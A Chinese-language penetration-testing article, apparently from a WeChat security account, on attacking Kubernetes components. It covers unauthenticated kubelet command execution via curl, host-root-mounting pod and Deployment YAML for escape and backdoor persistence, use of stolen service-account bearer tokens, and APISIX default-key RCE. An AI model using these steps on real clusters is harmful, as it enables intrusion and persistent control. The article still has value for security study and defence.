常见服务:
上述组件的分工:
- 用户与 kubectl 或者 Kubernetes Dashboard 进行交互,提交需求。(例: kubectl create -f pod.yaml);
- kubectl 会读取 ~/.kube/config 配置,并与 apiserver 进行交互,协议:http/https;
- apiserver 会协同 ETCD 等组件准备下发新建容器的配置给到节点,协议:http/https(除 ETCD 外还有例如 kube-controller-manager, scheduler 等组件用于规划容器资源和容器编排方向,此处简化省略);
- apiserver 与 kubelet 进行交互,告知其容器创建的需求,协议:http/https;
- kubelet 与 Docker 等容器引擎进行交互,创建容器,协议:http/unix socket.
显而易见,每个组件的可控性失衡都潜藏着特定的风险与危害,并提供了潜在的利用途径。对于各类组件安全性的周密考量,除却各具特色的权限验证设计之外,网络隔离同样至关重要。传统的iptables配置和策略,在容器网络环境中亦能发挥其强大功效(实际上,许多容器网络的功能实现正是基于iptables机制构建)。
此外,我们无法忽视在容器领域中两种特色显著的安全方案:一是精心设计及实施Network Policy,它能够在容器、POD以及服务层面提供更为精细且优雅的网络管理与控制;二是采用服务网格技术,通过这一手段能够精准地驾驭集群内部流量,确保容器间通讯的高度安全与效能优化。
接下来,我们将逐一深入剖析这些核心组件的技术资料及其对应的渗透测试手法,以期全方位揭示其内在安全机制与可能存在的脆弱点。
apiserver
在针对 Kubernetes 集群的潜在攻击场景中,获取 administrative 级别的 kubeconfig 文件并掌控承载 apiserver 的 master 节点权限,乃是实现对系统最高控制权的关键性突破,相当于实质上触及了攻击的核心目标。
参考https://Kubernetes.io/docs/reference/generated/kubectl/kubectl-commands,通过 apiserver 进行持续渗透和控制。因此如果想要攻击 apiserver, 必须确保容器内已安装有 kubectl :
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
默认情况下,apiserver 都是有鉴权的:
则可通过8080端口尝试未授权访问,服务启动:kube-apiserver –insecure-bind-address=0.0.0.0 –insecure-port=8080,此时请求接口的结果如下:
对于这类的未鉴权的设置来说,访问到 apiserver 一般情况下就获取了集群的权限:
kubelet
值得注意的是,在 Kubernetes 的最新迭代版本中,对对接至 10250 端口的访问行为已实施严格的鉴权管控机制,以确保数据交换的安全性。然而,在特定的应用场景下,如果启用了接纳匿名请求的功能配置,理论上未经认证的身份也可尝试通过 10250 端口发起通信请求,但此举明显违背了 Kubernetes 强调的安全最佳实践,因此应谨慎对待:
如果 10250 端口存在未授权访问漏洞,那么我们可以先使用 /pods 接口获取集群的详细信息,如 namespace,pods,containers 等
之后再通过curl -k https://Kubernetes-node-ip:10250/run/// -d "cmd=id" 的方式在任意容器里执行命令
此时,选择我们所有控制的容器快速过滤出高权限可逃逸的容器就很重要,在上述 /pods API 中可以获取到每个 POD 的配置,包括了 host*、securityContext、volumes 等配置,可以根据容器逃逸知识快速过滤出相应的 POD 进行控制。
由于这里 10250 鉴权当前的 Kubernetes 设计是默认安全的,所以 10255 的开放就可能更加容易在红蓝对抗中起到至关重要的作用。10255 本身为只读端口,虽然开放之后默认不存在鉴权能力,无法直接利用在容器中执行命令,但是可以获取环境变量 ENV、主进程 CMDLINE 等信息,里面包含密码和密钥等敏感信息的概率是很高的,可以快速帮我们在对抗中打开局面。
dashboard
默认状态下,Dashboard 内置了一套健全的身份验证机制,用户可通过kubeconfig 文件或基于 Token 的认证流程登录系统。当集群管理员启用了 enable-skip-login 功能选项后,用户在登录界面会看到一个“Skip”跳过登录的按钮,点击该按钮即可在未经严格身份验证的情况下直接进入 Dashboard。这种方式虽提供了操作上的便捷性,但需注意其潜在的安全风险,建议在生产环境中谨慎使用并确保合理的权限管控措施已经落实到位。
当用户选择跳过身份验证过程并通过点击 "Skip" 进入 Kubernetes 面板时,默认情况下,其操作权限受限于 Kubernetes 引入的 RBAC(基于角色的访问控制)机制。该机制通过服务账户(ServiceAccount)来实现精细的身份验证和授权管理,在不同的 ServiceAccount 之间分配差异化的集群操作权限。
实际上,当我们“Skip”登录并直接进入 Kubernetes Dashboard 时,系统默认使用的是名为 “Kubernetes-dashboard” 的 ServiceAccount。若此 ServiceAccount 未经额外权限配置,将不具备对集群进行全面功能操作的能力。
然而,在部分开发场景或测试环境中,为便于管理或调试,开发者可能会赋予 Kubernetes-dashboard ServiceAccount 与 cluster-admin 这一 ClusterRole 相关联的权限。cluster-admin 是一个拥有集群最高管理权限的角色,将其绑定至 Kubernetes-dashboard,意味着该 Dashboard 将能执行所有集群资源的管理操作。
具体设置如下:
- 新建 dashboard-admin.yaml 内容如下(该配置也类似于 “利用大权限的 Service Account” 一小节的配置 )
- 执行 kubectl create -f dashboard-admin.yaml,此时用户通过点击 Skip 进入 dashboard 即可拥有管理集群的权限了。
进入到 dashboard 我们可以管理 Pods、CronJobs 等,创建 Pod 控制 node 节点方法如下:
新建以下配置的 Pod,该 pod 主要是将宿主机根目录挂载到容器 tmp 目录下。
之后可通过该容器的 tmp 目录管理 node 节点的文件
值得注意的是,为了集群的稳定性和安全性要求,在 Kubernetes 默认设计的情况下 Pod 是不能调度到 master 节点的,但如果用户自行设置关闭了 Master Only 状态,那么我们可以直接在 master 节点新建 Pod 更直接的控制 master node;不过目前各大主流云产商上的 Kubernetes 集群服务,都会默认推荐让 Master 节点由云厂商托管,更加加剧了 Master 节点渗透和控制的难度。
etcd
在Kubernetes环境中,默认采用了etcd v3版本用以存储核心的集群配置和状态数据,因此,一旦攻击者能够非法获取并操控etcd服务,理论上即等同于完全控制了整个Kubernetes集群。
在Kubernetes的运维过程中,用户可通过编辑/etc/kubernetes/manifests/etcd.yaml配置文件来调整etcd Pod的相关参数设定。假定管理员在配置更新时,不慎将etcd的监听地址设置为0.0.0.0,从而使其对任意网络来源开放,那么攻击者便有可能利用这一漏洞,未经授权地从etcd中获取用于Kubernetes认证鉴权的token,进而实施对集群的非法控制操作。方式如下:
首先读取用于访问 apiserver 的 token:
利用 token 可通过 apiserver 端口 6443 控制集群:
docker remote api
Docker daemon 支持三种不同类型的 socket: unix, tcp, fd。默认情况下,Docker daemon 监听在 unix:///var/run/docker.sock,开发者可以通过多种方式打开 tcp socket,比如修改 Docker 配置文件如 / usr/lib/systemd/system/docker.service:
之后依次执行 systemctl daemon-reload、systemctl restart docker 便可以使用 docker -H tcp://[HOST]:2375 这种方式控制目标 docker
因此当你有访问到目标 Docker API 的网络能力或主机能力的时候,你就拥有了控制当前服务器的能力。我们可以利用 Docker API 在远程主机上创建一个特权容器,并且挂载主机根目录到容器,对主机进行进一步的渗透,更多利用方法参考容器逃逸章节。
检测目标是否存在 docker api 未授权访问漏洞的方式也很简单,访问 http://[host]:[port]/info 路径是否含有 ContainersRunning、DockerRootDir 等关键字。
kubectl proxy
对于熟悉Kubernetes平台的用户而言,当在一个Pod上暴露端口并使用ClusterIP类型Service进行内部绑定时,默认情况下,若未通过NodePort或LoadBalancer类型的Service对外提供服务,则集群外部无法直接访问到该内部服务(除非进行了针对网络插件如CNI的深度定制和配置修改)。
换言之,kubectl proxy作为一项功能,能够代理用户对集群内受限资源的访问,这在一定程度上可能成为攻击者绕过集群外网访问限制、实现非法入侵的有效途径,值得运维人员给予高度关注与严谨配置。
如果想临时在本地和外网调试的话,kubectl proxy 似乎是个不错的选择。
但其实 kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的,所以 –address=0.0.0.0 极其危险。
示例:kubectl exec进入pod内部执行指令:
root@linux> kubectl get pod
NAME READY STATUS RESTARTS AGE
app-1-wp-0 1/1 Running 0 182d
app-1-wp-1 1/1 Running 0 182d
myapp 1/1 Running 0 11d
myappnew 1/1 Running 0 11d
root@linux> kubectl exec -it myappnew /bin/bash
root@myappnew:/# whoami
root
#获取节点和服务版本信息
kubectl get nodes
#获取节点和服务版本信息,并查看附加信息
kubectl get nodes -o wide
# 获取pod信息,默认是default名称空间
kubectl get pod
# 获取pod信息,默认是default名称空间,并查看附加信息【如:pod的IP及在哪个节点运行】
kubectl get pod -o wide
# 获取指定名称空间的pod
kubectl get pod -n kube-system
# 获取指定名称空间中的指定pod
kubectl get pod -n kube-system podName
# 获取所有名称空间的pod
kubectl get pod -A
# 查看pod的详细信息,以yaml格式或json格式显示
kubectl get pods -o yaml
kubectl get pods -o json
# 查看pod的标签信息
kubectl get pod -A --show-labels
# 根据Selector(label query)来查询pod
kubectl get pod -A --selector="k8s-app=kube-dns"
# 查看运行pod的环境变量
kubectl exec podName env
# 查看指定pod的日志
kubectl logs -f --tail 500 -n kube-system kube-apiserver-k8s-master
# 查看所有名称空间的service信息
kubectl get svc -A
# 查看指定名称空间的service信息
kubectl get svc -n kube-system
# 查看componentstatuses信息
kubectl get cs
# 查看所有configmaps信息
kubectl get cm -A
# 查看所有serviceaccounts信息
kubectl get sa -A
# 查看所有daemonsets信息
kubectl get ds -A
# 查看所有deployments信息
kubectl get deploy -A
# 查看所有replicasets信息
kubectl get rs -A
# 查看所有statefulsets信息
kubectl get sts -A
# 查看所有jobs信息
kubectl get jobs -A
# 查看所有ingresses信息
kubectl get ing -A
# 查看有哪些名称空间
kubectl get ns
# 查看pod的描述信息
kubectl describe pod podName
kubectl describe pod -n kube-system kube-apiserver-k8s-master
# 查看指定名称空间中指定deploy的描述信息
kubectl describe deploy -n kube-system coredns
# 查看node或pod的资源使用情况
# 需要heapster 或metrics-server支持
kubectl top node
kubectl top pod
# 查看集群信息
kubectl cluster-info 或 kubectl cluster-info dump
# 查看各组件信息【172.16.1.110为master机器】
kubectl -s https://172.16.1.110:6443 get componentstatuses
# 创建资源
kubectl create -f xxx.yaml
# 应用资源
kubectl apply -f xxx.yaml
# 应用资源,该目录下的所有 .yaml, .yml, 或 .json 文件都会被使用
kubectl apply -f <directory>
# 创建test名称空间
kubectl create namespace test
# 删除资源
kubectl delete -f xxx.yaml
kubectl delete -f <directory>
# 删除指定的pod
kubectl delete pod podName
# 删除指定名称空间的指定pod
kubectl delete pod -n test podName
# 删除其他资源
kubectl delete svc svcName
kubectl delete deploy deployName
kubectl delete ns nsName
# 强制删除
kubectl delete pod podName -n nsName --grace-period=0 --force
kubectl delete pod podName -n nsName --grace-period=1
kubectl delete pod podName -n nsName --now
# 编辑资源
kubectl edit pod podName
通过yaml文件创建pod,并将pod的根目录/挂载到容器/mnt目录下,操作宿主机文件:
cat mymaster.yaml
apiVersion: v1
kind: Pod
metadata:
name: myappnew
spec:
containers:
image: nginx
name: container
volumeMounts:
mountPath: /mnt
name: test-volume
volumes:
name: test-volume
hostPath:
path: /
kubectl create -f ~/Desktop/test/mymaster.yaml
created
kubectl exec -it myappnew /bin/bash
/# cd /mnt :
/mnt# ls :
bin checkapp etc lib lost+found mnt proc run srv tmp var
boot dev home lib64 media opt root sbin sys usr
在具备对控制器资源进行操作的权限背景下,攻击者能够利用 ReplicaSet、DaemonSet 或 Deployment 等控制器机制,通过创建并持久化特定容器,从而植入后门程序,实现对集群环境的持续控制与渗透。
攻击者通过controllers攻击:
cat nginx-deploy.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx-test
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
image: nginx
name: container
volumeMounts:
mountPath: /mnt
name: test-volume
volumes:
name: test-volume
hostPath:
path: /
kubectl apply -f nginx-deploy.yaml
created
kubectl get pods
NAME READY STATUS RESTARTS AGE
1/1 Running 0 183d
1/1 Running 0 183d
myapp 1/1 Running 0 12d
myappnew 1/1 Running 0 38m
1/1 Running 0 55s
Kubernetes默认为每个Pod提供一个关联的服务账户,并将该账户的访问凭证自动注入到Pod容器中。然而,若某一Pod因安全漏洞遭受入侵,并且其所关联的服务账户拥有较高的权限等级,则攻击者理论上可在容器内部环境中,利用获取到的服务账户凭证直接向Kubernetes API服务器发起指令操作,从而对集群造成潜在威胁与风险。
示例:service account在容器内部的默认路径:
cd /var/run/secrets/kubernetes.io/serviceaccount
curl -voa -s https://192.168.0.234:6443/version
# 以下命令相当于 kubectl get no
curl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOGprZmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2DydmljZS1hY2NvdW50LnVpZCI6Ijg4Y2ZmNmYzLWY0NzktMTFlOS1iZmY1LTJlYzU3MmZlMWRjOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OU740qNcSf0Z__vAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-rrp9tG8Vxbc65FlPFj9efdpfWYExxjDDQwQTi-5Afmk4EA6EH-4vEs4V1r4gb0za8cyPVSAjzmEh7uIMgQHVo7y32V_BqUd8cmBoTdgnTY8Nx2QvMClvoYvEWvDKhbMnQjWH1x5Z6jK0iNg7btlK_WXnz8-yU2a0-jgoZFZ8D_qX16mZJ_ZoxEwPNTeNR8pP1l3ebZGVqBQA1PIFVG4HOlYomZya_DWGleMRYpulnECtBOTYyswzCwN8qJUVsdv6yWH1blWHKzYrkcoDmp2r6QhekaG1KFoX_YA" --cacert ca.crt
进一步而言,在攻击者实现逃逸至宿主机(node节点)的情况下,他们可通过植入账户信息、篡改或注入/.ssh/authorized_keys文件等手段,利用SSH协议通道实施持续控制并下发一系列恶意指令。这一过程凸显了容器安全防护的迫切性,要求对基于SSH访问机制的权限管理和凭证保护采取更为严谨和高级的专业策略。
然而,这种便捷性同时也带来了一定的安全隐患。一旦用户的云账号凭证遭到泄露,攻击者就有可能利用云厂商提供的强大API接口,对用户的整个资源体系进行恶意接管,包括但不限于VM和容器集群。他们可以借此执行未经授权的操作,如创建、删除或篡改资源,进而导致数据泄露、服务中断甚至业务瘫痪等一系列严重的安全事件。
同时,不可忽视的是云厂商沙箱自身可能存在安全漏洞或设计缺陷。如果这些潜在的风险被攻击者利用,那么即使用户的账号凭证安全无虞,其托管在云端的集群也可能因此受到威胁。比如,沙箱逃逸漏洞的存在可能会使得原本应隔离运行的环境发生交叉污染,从而破坏集群内部的安全边界,对用户的核心业务构成直接冲击。
示例:通过Cloud Shell管理集群:
在容器化环境中,所谓的流氓容器是指那些处于计划外或未经官方授权与批准的容器实例。这一现象在开发环节尤为常见,当应用开发者为测试代码而自行启动临时容器时,往往容易导致此类情况的发生。然而,若这些非正式容器未经过严谨的漏洞扫描以及恰当的安全配置,其被恶意利用的风险将显著增加。
APISIX 内建了 RESTful 风格的 Admin API 接口,用户可以通过这些接口实现对 APISIX 的精细化配置与管理。初始状态下,该 Admin API 只允许本地主机(127.0.0.1)进行访问。但用户可以根据实际需求,在 conf/config.yaml 配置文件中的 'allow_admin' 字段中指定可调用 Admin API 的授权 IP 地址列表,以扩展远程管理功能。
然而,当用户选择对外开放 Admin API 并且未对预设的默认 admin_key 进行更改时,潜在的安全隐患将会显现。攻击者在获取此硬编码的默认密钥后,将有可能利用其执行任意的 Lua 脚本代码,从而对系统实施恶意操作或攻击。因此,强烈建议用户在启用 Admin API 的同时,务必修改并使用安全强度高的自定义 admin_key,以确保系统的安全性与稳定性。
根据 apisix 官方文档可以知道,在创建路由时用户可以定义一个 filter_func 参数用于处理请求,filter_func 的内容可以是任意的 lua 代码。
那么我们便可以使用默认的 admin_key 创建恶意的 route 并访问以触发 lua 代码执行,达到 rce 的目的,下面是具体步骤:
(1)创建可用的 services:
(2)创建恶意的 route:
最后访问 http://127.0.0.1:9080/api/tforce_test 即可触发预定义的 lua 代码执行。因此,在内网里攻击云原生 API 网关是比较容易打开一定局面的。
原文始发于微信公众号(东方隐侠安全团队):第五节:云上容器安全威胁(二)执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论